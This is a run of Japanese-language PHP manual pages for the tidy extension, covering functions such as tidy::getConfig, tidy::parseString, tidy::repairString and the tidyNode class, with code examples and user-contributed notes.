  • tidy_warning_count() - 指定したドキュメントについて発生した Tidy 警告の数を返す

User Contributed Notes

david dot tulloh at infaze dot com dot au 11-May-2005 10:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.


現在の Tidy の設定を取得する

  • ≪ tidy::$errorBuffer
  • tidy::getHtmlVer ≫
  • PHP Manual
  • tidy
  • 現在の Tidy の設定を取得する

tidy::getConfig

tidy_get_config

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::getConfig -- tidy_get_config — 現在の Tidy の設定を取得する

説明

オブジェクト指向型

public tidy::getConfig ( ) : array

手続き型

tidy_get_config ( tidy $tidy ) : array

与えられた Tidy オブジェクト tidy で使用されている設定オプションを配列で返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

設定オプションの配列を返します。

それぞれのオプションの説明については、» http://api.html-tidy.org/#quick-reference を参照ください。

例

例1 tidy::getConfig() の例

<?php
$html = '<p>test</p>';
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r($tidy->getConfig());
?>

上の例の出力は以下となります。

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

参考

  • tidy_reset_config()
  • tidy_save_config()

User Contributed Notes

Anonymous 05-Feb-2020 07:07
Beware of deprecated config options.

For example 'drop-font-tags' was deprecated and removed in newer versions of Tidy.

The URL provided for options reference is wrong, the proper API reference with a list of options per Tidy version is here: http://api.html-tidy.org/


指定したドキュメントで検出された HTML バージョンを取得する

  • ≪ tidy::getConfig
  • tidy::getOpt ≫
  • PHP Manual
  • tidy
  • 指定したドキュメントで検出された HTML バージョンを取得する

tidy::getHtmlVer

tidy_get_html_ver

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getHtmlVer -- tidy_get_html_ver — 指定したドキュメントで検出された HTML バージョンを取得する

説明

オブジェクト指向型

public tidy::getHtmlVer ( ) : int

手続き型

tidy_get_html_ver ( tidy $tidy ) : int

指定した Tidy オブジェクト tidy で検出された HTML バージョンを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

出された HTML バージョンを返します。

警告

この関数は Tidylib 自体でまだ実装されていません。そのため常に 0 を返します。

User Contributed Notes

There are no user contributed notes for this page.


Tidy ドキュメントについて指定した設定オプションの値を返す

  • ≪ tidy::getHtmlVer
  • tidy::getOptDoc ≫
  • PHP Manual
  • tidy
  • Tidy ドキュメントについて指定した設定オプションの値を返す

tidy::getOpt

tidy_getopt

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getOpt -- tidy_getopt — Tidy ドキュメントについて指定した設定オプションの値を返す

説明

オブジェクト指向型

public tidy::getOpt ( string $option ) : string|int|bool

手続き型

tidy_getopt ( tidy $tidy , string $option ) : string|int|bool

Tidy オブジェクト tidy について指定した設定オプション option の値を返します。

パラメータ

tidy

Tidy オブジェクト。

option

それぞれの設定オプションと型の一覧は、» http://api.html-tidy.org/#quick-reference にあります。

返り値

指定した設定オプション option の値を返します。 返される型は、設定オプションの型に依存します。

例

例1 tidy_getopt() の例

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
                'alt-text' => 'some text');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

上の例の出力は以下となります。

int(3)
bool(true)
string(9) "some text"

User Contributed Notes

There are no user contributed notes for this page.


与えられたオプション名に対するドキュメントを返す

  • ≪ tidy::getOpt
  • tidy::getRelease ≫
  • PHP Manual
  • tidy
  • 与えられたオプション名に対するドキュメントを返す

tidy::getOptDoc

tidy_get_opt_doc

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

tidy::getOptDoc -- tidy_get_opt_doc — 与えられたオプション名に対するドキュメントを返す

説明

オブジェクト指向型

public tidy::getOptDoc ( string $option ) : string|false

手続き型

tidy_get_opt_doc ( tidy $tidy , string $option ) : string|false

tidy_get_opt_doc() は、 与えられたオプション名に対するドキュメントを返します。

注意:

この関数を有効にするには、少なくとも2005年4月25日以降の libtidy が必要です。

パラメータ

tidy

Tidy オブジェクト。

option

オプション名。

返り値

オプションが存在し、かつドキュメントが利用可能であれば、文字列を返します。 その他の場合は false を返します。

例

例1 すべてのオプションについてのドキュメントとデフォルト値をプリントする

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

    if (!$doc = $tidy->getOptDoc($opt))
        $doc = 'no documentation available!';

    $val = ($tidy->getOpt($opt) === true)  ? 'true'  : $val;
    $val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

    echo "<p><b>$opt</b> (default: '$val')<br />".
         "$doc</p><hr />\n";
}

?>

参考

  • tidy::getconfig() - 現在の Tidy の設定を取得する
  • tidy::getopt() - Tidy ドキュメントについて指定した設定オプションの値を返す

User Contributed Notes

There are no user contributed notes for this page.


Tidy ライブラリのリリース日 (バージョン) を取得する

  • ≪ tidy::getOptDoc
  • tidy::getStatus ≫
  • PHP Manual
  • tidy
  • Tidy ライブラリのリリース日 (バージョン) を取得する

tidy::getRelease

tidy_get_release

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getRelease -- tidy_get_release — Tidy ライブラリのリリース日 (バージョン) を取得する

説明

オブジェクト指向型

public tidy::getRelease ( ) : string

手続き型

tidy_get_release ( ) : string

Tidy ライブラリのリリース日を取得します。

返り値

Tidy ライブラリのリリース日を文字列で返します。 'unknown' が返される可能性もあります。

User Contributed Notes

There are no user contributed notes for this page.


指定したドキュメントのステータスを取得する

  • ≪ tidy::getRelease
  • tidy::head ≫
  • PHP Manual
  • tidy
  • 指定したドキュメントのステータスを取得する

tidy::getStatus

tidy_get_status

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::getStatus -- tidy_get_status — 指定したドキュメントのステータスを取得する

説明

オブジェクト指向型

public tidy::getStatus ( ) : int

手続き型

tidy_get_status ( tidy $tidy ) : int

指定した Tidy オブジェクト tidy のステータスを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

エラー/警告が発生しなかった場合は 0、 警告やアクセイシビリティエラーの場合は 1、 エラーの場合は 2 を返します。

例

例1 tidy::getStatus() の例

<?php
$html = '<p>paragraph</i>';
$tidy = new tidy();
$tidy->parseString($html);

$tidy2 = new tidy();
$html2 = '<bogus>test</bogus>';
$tidy2->parseString($html2);

echo $tidy->getStatus(); //1

echo $tidy2->getStatus(); //2
?>

User Contributed Notes

There are no user contributed notes for this page.


Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す

  • ≪ tidy::getStatus
  • tidy::html ≫
  • PHP Manual
  • tidy
  • Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す

tidy::head

tidy_get_head

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::head -- tidy_get_head — Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す

説明

オブジェクト指向型

public tidy::head ( ) : tidyNode|null

手続き型

tidy_get_head ( tidy $tidy ) : tidyNode|null

Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

tidyNode オブジェクトを返します。

例

例1 tidy::head() の例

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$head = $tidy->head();
echo $head->value;
?>

上の例の出力は以下となります。

<head>
<title>test</title>
</head>

参考

  • tidy::body() - Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す
  • tidy::html() - Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す

  • ≪ tidy::head
  • tidy::isXhtml ≫
  • PHP Manual
  • tidy
  • Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す

tidy::html

tidy_get_html

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::html -- tidy_get_html — Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返す

説明

オブジェクト指向型

public tidy::html ( ) : tidyNode|null

手続き型

tidy_get_html ( tidy $tidy ) : tidyNode|null

この関数は Tidy パースツリーの <html> タグから始まる tidyNode オブジェクトを返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

tidyNode オブジェクトを返します。

例

例1 tidy::html() の例

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$html = $tidy->html();
echo $html->value;
?>

上の例の出力は以下となります。

<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

参考

  • tidy::body() - Tidy パースツリーの <body> タグから始まる tidyNode オブジェクトを返す
  • tidy::head() - Tidy パースツリーの <head> タグから始まる tidyNode オブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントが XHTML ドキュメントかどうかを示す

  • ≪ tidy::html
  • tidy::isXml ≫
  • PHP Manual
  • tidy
  • ドキュメントが XHTML ドキュメントかどうかを示す

tidy::isXhtml

tidy_is_xhtml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXhtml -- tidy_is_xhtml — ドキュメントが XHTML ドキュメントかどうかを示す

説明

オブジェクト指向型

public tidy::isXhtml ( ) : bool

手続き型

tidy_is_xhtml ( tidy $tidy ) : bool

ドキュメントが XHTML ドキュメントであるかどうかを調べます。

パラメータ

tidy

Tidy オブジェクト。

返り値

指定した Tidy オブジェクト tidy が XHTML ドキュメントの場合、この関数は true を返します。 その他の場合は false を返します。

警告

この関数はまだ Tidylib 自身に実装されていません。 なので、常に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを示す

  • ≪ tidy::isXhtml
  • tidy::parseFile ≫
  • PHP Manual
  • tidy
  • ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを示す

tidy::isXml

tidy_is_xml

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::isXml -- tidy_is_xml — ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを示す

説明

オブジェクト指向型

public tidy::isXml ( ) : bool

手続き型

tidy_is_xml ( tidy $tidy ) : bool

ドキュメントが一般的な XML ドキュメント (非 HTML/XHTML) かどうかを調べます。

パラメータ

tidy

Tidy オブジェクト。

返り値

指定した Tidy オブジェクト tidy が一般的な XML ドキュメント (非 HTML/XHTML) の場合、 この関数は true を返します。 その他の場合は false を返します。

警告

この関数はまだ Tidylib 自身に実装されていません。 なので、常に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルまたは URI にあるマークアップをパースする

  • ≪ tidy::isXml
  • tidy::parseString ≫
  • PHP Manual
  • tidy
  • ファイルまたは URI にあるマークアップをパースする

tidy::parseFile

tidy_parse_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseFile -- tidy_parse_file — ファイルまたは URI にあるマークアップをパースする

説明

オブジェクト指向型

public tidy::parseFile ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : bool

手続き型

tidy_parse_file ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : tidy|false

与えられたファイルをパースします。

パラメータ

filename

もし filename パラメータが与えられた場合、 この関数はファイルを読み込み、tidy_parse_file() のように実行してファイルに基づいたオブジェクトを初期化します。

config

config には配列あるいは文字列を渡します。 文字列を渡した場合は設定ファイルの名前、 それ以外の場合は設定そのものとして解釈されます。

オプションについての説明は » http://api.html-tidy.org/#quick-reference を参照ください。

encoding

encoding は入出力ドキュメントのエンコーディングを設定します。 指定できるエンコーディング名は ascii、latin0、latin1、 raw、utf8、iso2022、 mac、win1252、ibm858、 utf16、utf16le、utf16be、 big5 および shiftjis です。

useIncludePath

include_path からファイルを探します。

返り値

tidy::parseFile() は成功時に true を返します。 tidy_parse_file() は、成功時に新しい tidy インスタンスを返します。 これらのメソッド、関数は、ともに失敗時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | config と encoding は、 nullable になりました。

例

例1 tidy::parseFile() の例

<?php
$tidy = new tidy();
$tidy->parseFile('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
    echo "The following errors or warnings occurred:\n";
    echo $tidy->errorBuffer;
}
?>

参考

  • tidy::parsestring() - 文字列にストアされたドキュメントをパースする
  • tidy::repairfile() - ファイルを修正し、それを文字列として返す
  • tidy::repairstring() - 別途提供される設定ファイルを使用して文字列を修正する

User Contributed Notes

There are no user contributed notes for this page.


文字列にストアされたドキュメントをパースする

  • ≪ tidy::parseFile
  • tidy::repairFile ≫
  • PHP Manual
  • tidy
  • 文字列にストアされたドキュメントをパースする

tidy::parseString

tidy_parse_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.5.2)

tidy::parseString -- tidy_parse_string — 文字列にストアされたドキュメントをパースする

説明

オブジェクト指向型

public tidy::parseString ( string $string , array|string|null $config = null , string|null $encoding = null ) : bool

手続き型

tidy_parse_string ( string $string , array|string|null $config = null , string|null $encoding = null ) : tidy|false

文字列にストアされたドキュメントをパースします。

パラメータ

string

パースするデータ。

config

config には配列あるいは文字列を渡します。 文字列を渡した場合は設定ファイルの名前、 それ以外の場合は設定そのものとして解釈されます。

オプションについての説明は » http://api.html-tidy.org/#quick-reference を参照ください。

encoding

encoding は入出力ドキュメントのエンコーディングを設定します。 指定できるエンコーディング名は ascii、latin0、latin1、 raw、utf8、iso2022、 mac、win1252、ibm858、 utf16、utf16le、utf16be、 big5 および shiftjis です。

返り値

新しい tidy インスタンスを返します。 tidy_parse_string() は、成功時に新しい tidy インスタンスを返します。 これらのメソッド、関数は、失敗時に false を返します。

変更履歴

バージョン | 説明
8.0.0 | config と encoding は、nullable になりました。

例

例1 tidy::parseString() の例

<?php
ob_start();
?>

<html>
  <head>
   <title>test</title>
  </head>
  <body>
   <p>error<br>another line</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

上の例の出力は以下となります。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      test
    </title>
  </head>
  <body>
    <p>
      error<br />
      another line
    </p>
  </body>
</html>

参考

  • tidy::parseFile() - ファイルまたは URI にあるマークアップをパースする
  • tidy::repairFile() - ファイルを修正し、それを文字列として返す
  • tidy::repairString() - 別途提供される設定ファイルを使用して文字列を修正する

User Contributed Notes

steven at nevvix dot com 09-Aug-2018 03:36
<?php
/**
 * Simpler version without pretty print config options.
 */
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'doctype' => '<!DOCTYPE html>',
        'drop-empty-elements' => 0,
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
        'tidy-mark' => 0,
    ];
    $html = tidy_parse_string($html, $config, $encoding); // doctype not inserted
    tidy_clean_repair($html); // doctype inserted
    return $html;
}

$html = '</z><p><a href="#">Link</a></p><p><img src="logo.png"/>Second para</p><i class="fa"></i><p></p>';

echo tidy_html5($html);

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<p><a href="#">Link</a></p>
<p><img src="logo.png">Second para</p>
<i class="fa"></i>
<p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>2, 'indent-spaces'=>4]);

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <p><a href="#">Link</a></p>
    <p><img src="logo.png">Second para</p><i class="fa"></i>
    <p></p>
</body>
</html>

echo tidy_html5($html, ['indent'=>1], 'ascii');

<!DOCTYPE html>
<html>
  <head>
    <title></title>
  </head>
  <body>
    <p>
      <a href="#">Link</a>
    </p>
    <p>
      <img src="logo.png">Se&Atilde;&sect;ond para
    </p><i class="fa"></i>
    <p></p>
  </body>
</html>

echo tidy_html5($html, ['show-body-only'=>1]);

<p><a href="#">Link</a></p>
<p><img src="logo.png">Second para</p>
<i class="fa"></i>
<p></p>
steven at nevvix dot com 09-Aug-2018 12:57
<?php
/**
* UTF-8 HTML5-compatible Tidy
*
* @param string $html
* @param array $config
* @param string $encoding
* @link http://tidy.sourceforge.net/docs/quickref.html
*/
function tidy_html5($html, array $config = [], $encoding = 'utf8') {
    $config += [
        'clean'       => TRUE,
        'doctype'     => 'omit',
        'indent'      => 2, // auto
        'output-html' => TRUE,
        'tidy-mark'   => FALSE,
        'wrap'        => 0,
        // HTML5 tags
        'new-blocklevel-tags' => 'article aside audio bdi canvas details dialog figcaption figure footer header hgroup main menu menuitem nav section source summary template track video',
        'new-empty-tags' => 'command embed keygen source track wbr',
        'new-inline-tags' => 'audio command datalist embed keygen mark menuitem meter output progress source time video wbr',
    ];
    $html = tidy_parse_string($html, $config, $encoding);
    tidy_clean_repair($html);
    return '<!DOCTYPE html>' . PHP_EOL . $html;
}

$html = '</z><p><a href="#">Link</a></p><p>Second para</p>';
echo tidy_html5($html);

Output:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <p><a href="#">Link</a></p>
  <p>Second para</p>
</body>
</html>


ファイルを修正し、それを文字列として返す

  • ≪ tidy::parseString
  • tidy::repairString ≫
  • PHP Manual
  • tidy
  • ファイルを修正し、それを文字列として返す

tidy::repairFile

tidy_repair_file

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairFile -- tidy_repair_file — ファイルを修正し、それを文字列として返す

説明

オブジェクト指向型

public static tidy::repairFile ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : string|false

手続き型

tidy_repair_file ( string $filename , array|string|null $config = null , string|null $encoding = null , bool $useIncludePath = false ) : string|false

与えられたファイルを修正し、それを文字列として返します。

パラメータ

filename

修正するファイル。

config

config には配列あるいは文字列を渡します。 文字列を渡した場合は設定ファイルの名前、 それ以外の場合は設定そのものとして解釈されます。

オプションについての説明は http://tidy.sourceforge.net/docs/quickref.html を参照ください。

encoding

encoding は入出力ドキュメントのエンコーディングを設定します。 指定できるエンコーディング名は ascii、latin0、latin1、 raw、utf8、iso2022、 mac、win1252、ibm858、 utf16、utf16le、utf16be、 big5 および shiftjis です。

useIncludePath

include_path からファイルを探します。

返り値

修正した内容を文字列で返します。

例

例1 tidy::repairFile() の例

<?php
$file = 'file.html';

$tidy = new tidy();
$repaired = $tidy->repairfile($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

参考

  • tidy::parseFile() - ファイルまたは URI にあるマークアップをパースする
  • tidy::parseString() - 文字列にストアされたドキュメントをパースする
  • tidy::repairString() - 別途提供される設定ファイルを使用して文字列を修正する

User Contributed Notes

There are no user contributed notes for this page.


別途提供される設定ファイルを使用して文字列を修正する

  • ≪ tidy::repairFile
  • tidy::root ≫
  • PHP Manual
  • tidy
  • 別途提供される設定ファイルを使用して文字列を修正する

tidy::repairString

tidy_repair_string

(PHP 5, PHP 7, PHP 8, PECL tidy >= 0.7.0)

tidy::repairString -- tidy_repair_string — 別途提供される設定ファイルを使用して文字列を修正する

説明

オブジェクト指向型

public static tidy::repairString ( string $string , array|string|null $config = null , string|null $encoding = null ) : string|false

手続き型

tidy_repair_string ( string $string , array|string|null $config = null , string|null $encoding = null ) : string|false

与えられた文字列を修正します。

パラメータ

string

修正するデータ。

config

config には配列あるいは文字列を渡します。 文字列を渡した場合は設定ファイルの名前、 それ以外の場合は設定そのものとして解釈されます。

オプションについての説明は » http://api.html-tidy.org/#quick-reference を参照ください。

encoding

encoding は入出力ドキュメントのエンコーディングを設定します。 指定できるエンコーディング名は ascii、latin0、latin1、 raw、utf8、iso2022、 mac、win1252、ibm858、 utf16、utf16le、utf16be、 big5 および shiftjis です。

返り値

修正した文字列を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | tidy::repairString() は、静的メソッドになりました。
8.0.0 | config と encoding は、 nullable になりました。
8.0.0 | この関数は、 useIncludePath を引数として受け入れなくなりました。

例

例1 tidy::repairString() の例

<?php
ob_start();
?>

<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>error</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = new tidy();
$clean = $tidy->repairString($buffer);

echo $clean;
?>

上の例の出力は以下となります。

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>test</title>
</head>
<body>
<p>error</p>
</body>
</html>

参考

  • tidy::parseFile() - ファイルまたは URI にあるマークアップをパースする
  • tidy::parseString() - 文字列にストアされたドキュメントをパースする
  • tidy::repairFile() - ファイルを修正し、それを文字列として返す

User Contributed Notes

Romolo 23-May-2017 10:48
Using tidy is very simple to fix a broken ods/odt document
I wrote the following code to be run from command line

<?php
$zip = new ZipArchive();
if ($zip->open($argv[1])) {
  $fp = $zip->getStream('content.xml'); //file inside archive
  if(!$fp)
    die("Error: can't get stream to document file");
  $stat = $zip->statName('content.xml');
  $buf = ""; //file buffer
  ob_start(); //to capture CRC error message
    while (!feof($fp)) {
      $buf .= fread($fp, 2048);
    }
    $s = ob_get_contents();
  ob_end_clean();
  fclose($fp);
  $zip->close();
  $config = array(
      'indent' => true,
      'clean' => true,
      'input-xml'  => true,
      'output-xml' => true,
      'wrap'       => false
  );
  $tidy = new Tidy();
  $xml = $tidy->repairstring($buf, $config);
  $array=split("\n",$xml);
  $file=tempnam("/tmp","xml");
  $fp=fopen($file,"rw+");
  foreach ($array as $key=>$value) {
    fwrite($fp,trim($value),strlen(trim($value)));
    if ($key==0) {
      fwrite($fp,"\n");
    }
  }
  fclose($fp);
  if ($zip->open($argv[1]) === TRUE) {
    $zip->deleteName('content.xml');
    $zip->addFile($file, 'content.xml');
    $zip->close();
    echo 'recovery complete';
  } else {
    echo 'recovery failed';
  }
  unlink($file);
}
?>

save it to a file called fixdoc and invoke as:
php fixdoc yourbrokendoc

for your safety, please work on a copy of your doc.
dan-dot-hunsaker-at-gmail-dot-com 16-Jul-2011 04:49
The docs referenced at http://tidy.sourceforge.net/docs/quickref.html above state that the configuration option 'sort-attributes' is an enumeration of 'none' and 'alpha', thereby specifying that strings of either form are the acceptable values.  This may not be the case, however - on my system, the option was not honored until I set it to true.  This may also be the case with other options, so experiment a bit.  The output of tidy::getConfig() may be useful in this regard.
gnuffo1 at gmail dot com 23-Aug-2010 05:44
You can also use this function to repair xml, for example if stray ampersands etc are breaking it:

<?php
$xml = tidy_repair_string($xml, array(
    'output-xml' => true,
    'input-xml' => true
));
?>


Tidy パースツリーのルートを表す tidyNode を返す

  • ≪ tidy::repairString
  • tidyNode ≫
  • PHP Manual
  • tidy
  • Tidy パースツリーのルートを表す tidyNode を返す

tidy::root

tidy_get_root

(PHP 5, PHP 7, PHP 8, PECL tidy 0.5.2-1.0.0)

tidy::root -- tidy_get_root — Tidy パースツリーのルートを表す tidyNode を返す

説明

オブジェクト指向型

public tidy::root ( ) : tidyNode|null

手続き型

tidy_get_root ( tidy $tidy ) : tidyNode|null

Tidy パースツリーのルートを表す tidyNode を返します。

パラメータ

tidy

Tidy オブジェクト。

返り値

tidyNode オブジェクトを返します。

例

例1 tidy::root() の例

<?php

$html = <<< HTML
<html><body>

<p>paragraph</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

    if($node->hasChildren()) {
        foreach($node->child as $child) {
            echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

            dump_nodes($child, $indent+1);
        }
    }
}
?>

上の例の出力は以下となります。

..html
....head
......title
....body
......p
........"paragraph"
......br

User Contributed Notes

There are no user contributed notes for this page.


tidyNode クラス

(PHP 5, PHP 7, PHP 8)

はじめに

HTML ファイル中の HTML ノードで、tidy が検出したものです。

クラス概要

final
tidyNode {
/* プロパティ */
public string $value;
public string $name;
public int $type;
public int $line;
public int $column;
public bool $proprietary;
public int $id;
public array $attribute;
public array $child;
/* メソッド */
private __construct ( )
public getParent ( ) : tidyNode|null
public hasChildren ( ) : bool
public hasSiblings ( ) : bool
public isAsp ( ) : bool
public isComment ( ) : bool
public isHtml ( ) : bool
public isJste ( ) : bool
public isPhp ( ) : bool
public isText ( ) : bool
}

プロパティ

value

まわりのタグも含む、ノードの HTML 表現

name

HTML ノードの名前

type

ノードの型 (tidy ノード型定数 のうちのひとつ。たとえば TIDY_NODETYPE_PHP)

line

ファイル内でそのタグが存在する行番号

column

ファイル内でそのタグが存在するカラム番号

proprietary

そのノードが独自タグであるかどうかを表す

id

ノードの ID (tag 定数のうちのひとつで、たとえば TIDY_TAG_FRAME)

attribute

現在のノードの属性名 (キー) を表す文字列の配列

child

現在のノードの子を表す tidyNode の配列

バージョン | 説明
5.1.0 | line、column および proprietary が追加されました。

目次

  • tidyNode::__construct — Private constructor to disallow direct instantiation
  • tidyNode::getParent — カレントノードの親ノードを返す
  • tidyNode::hasChildren — ノードが子を持つかどうかを調べる
  • tidyNode::hasSiblings — このノードが兄弟ノードを持つかどうかを調べる
  • tidyNode::isAsp — このノードが ASP かどうかを調べる
  • tidyNode::isComment — このノードがコメントを表すものかどうかを調べる
  • tidyNode::isHtml — このノードが HTML要素 であるかどうかを調べる
  • tidyNode::isJste — このノードが JSTE であるかどうかを調べる
  • tidyNode::isPhp — このノードが PHP であるかどうかを調べる
  • tidyNode::isText — このノードが (マークアップでない) テキストであるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Private constructor to disallow direct instantiation

  • ≪ tidyNode
  • tidyNode::getParent ≫
  • PHP Manual
  • tidyNode
  • Private constructor to disallow direct instantiation

tidyNode::__construct

(PHP 5, PHP 7, PHP 8)

tidyNode::__construct — Private constructor to disallow direct instantiation

説明

private tidyNode::__construct ( )

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


カレントノードの親ノードを返す

  • ≪ tidyNode::__construct
  • tidyNode::hasChildren ≫
  • PHP Manual
  • tidyNode
  • カレントノードの親ノードを返す

tidyNode::getParent

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

tidyNode::getParent — カレントノードの親ノードを返す

説明

public tidyNode::getParent ( ) : tidyNode|null

カレントノードの親ノードを返します。

返り値

そのノードが親を持っている場合に tidyNode、 それ以外の場合に null を返します。

例

例1 tidyNode::hasChildren() の例

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
 </head>
 <body>
 Hello World
 </body>
</html>

HTML;

$tidy = tidy_parse_string($html);
$num = 0;

$node = $tidy->html()->child[0]->child[0];

var_dump($node->getparent()->name);
?>

上の例の出力は以下となります。

string(4) "head"

User Contributed Notes

There are no user contributed notes for this page.


ノードが子を持つかどうかを調べる

